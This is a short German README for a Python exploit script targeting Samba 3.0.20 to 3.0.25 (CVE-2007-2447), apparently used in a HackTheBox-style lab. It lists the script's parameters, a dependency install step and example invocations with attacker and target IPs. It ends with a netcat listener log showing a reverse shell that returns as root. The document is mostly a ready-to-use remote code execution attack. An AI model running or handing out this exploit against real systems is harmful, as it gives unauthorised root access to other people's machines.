Dieser Exploit hilft Ihnen, eine Reverse Shell zu erhalten, indem er Samba 3.0.20 < 3.0.25 ausnutzt

· Beim Ausführen des Skripts mit python3 und dem Parameter --help werden wir nach einer Reihe von Parametern gefragt

 --lhost LHOST  your host   (IP, auf der die Shell empfangen wird)
 --lport LPORT  your port   (Port, auf dem die Shell empfangen wird)
 --rhost RHOST  remote host  (IP der Zielmaschine)
 --rport RPORT  remote port  (Port der Zielmaschine)

· Vor dem Ausführen des Skripts führen Sie dies aus

pip3 install pysmb

· Beispiel

python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139

· Oder Sie können

python3 samba_usermap.py --lh 10.10.14.12 --lp 443 --rh 10.10.10.3 --rp 139

· Beispiel für die Funktionsweise des Skripts

python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139

· Wir erhalten die Shell

❯ nc -nlvp 443
  listening on [any] 443 ...
  connect to [10.10.14.12] from (UNKNOWN) [10.10.10.3] 57498
  whoami
  root

CVE-2007-2447-RCE

Beliebteste